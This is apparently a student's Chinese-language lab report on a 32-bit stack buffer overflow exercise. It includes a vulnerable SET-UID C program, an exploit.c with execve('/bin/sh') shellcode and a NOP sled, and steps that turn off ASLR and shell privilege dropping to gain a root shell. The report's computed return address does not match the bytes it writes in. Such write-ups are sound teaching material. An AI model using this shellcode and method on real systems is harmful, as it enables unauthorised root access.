20165315 缓冲区溢出漏洞实验
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
二、实验步骤
1、前期准备
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备：
输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
sudo apt-get install -y lib32readline-gplv2-dev
2、初始设置
- 关闭地址空间随机化功能，此功能用于随机堆和栈的初始地址，使猜测准确的内存地址变得困难
sudo sysctl -w kernel.randomize_va_space=0
- 为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权,不能在shell中保持root权限，这个防护措施在/bin/bash中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash
设置zsh程序：
$sudo su
$cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
- 输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash
3、漏洞程序
- 在 /tmp 目录下新建一个 stack.c 文件，并输入如下内容：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 编译该程序，并设置 SET-UID
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
4、攻击程序
此程序目的在攻击刚才的漏洞程序，并通过攻击获得 root 权限
在 /tmp 目录下通过命令行wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c输入如下内容：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
- 得到 shellcode 在内存中的地址
$ gdb stack
$ disass main
$ b [地址]
$ r
$ i r $esp
$ q
-
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd484(十六进制)
-
修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff
- 编译运行，可见，通过攻击，获得了root 权限
$ gcc -m32 -o exploit exploit.c
$ ./exploit
$ ./stack
三、实验练习
1、通过命令
sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
通过实验，发现开启地址空间随机分配保护后，缓存区溢出攻击失效：
2、将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
通过实验，发现将 /bin/sh 重新指向 /bin/bash（或/bin/dash）后，缓存区溢出也不能攻击：
四、实验总结
这次实验比较简单，在实验楼简单明了的步骤过程的帮助下，我比较顺利的完成了实验。但是在实验的过程中，我也犯了一点小错，第一次是没有将地址加上16进制的100，第二次是高低地址写反了，都导致攻击失败，显示段错误。经过反复实验，最终攻击成功。通过这次实验，我明白了什么是缓冲区溢出攻击，即通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的，从而对Linux系统有了进一步的了解，对学习本课程有了很大的帮助。
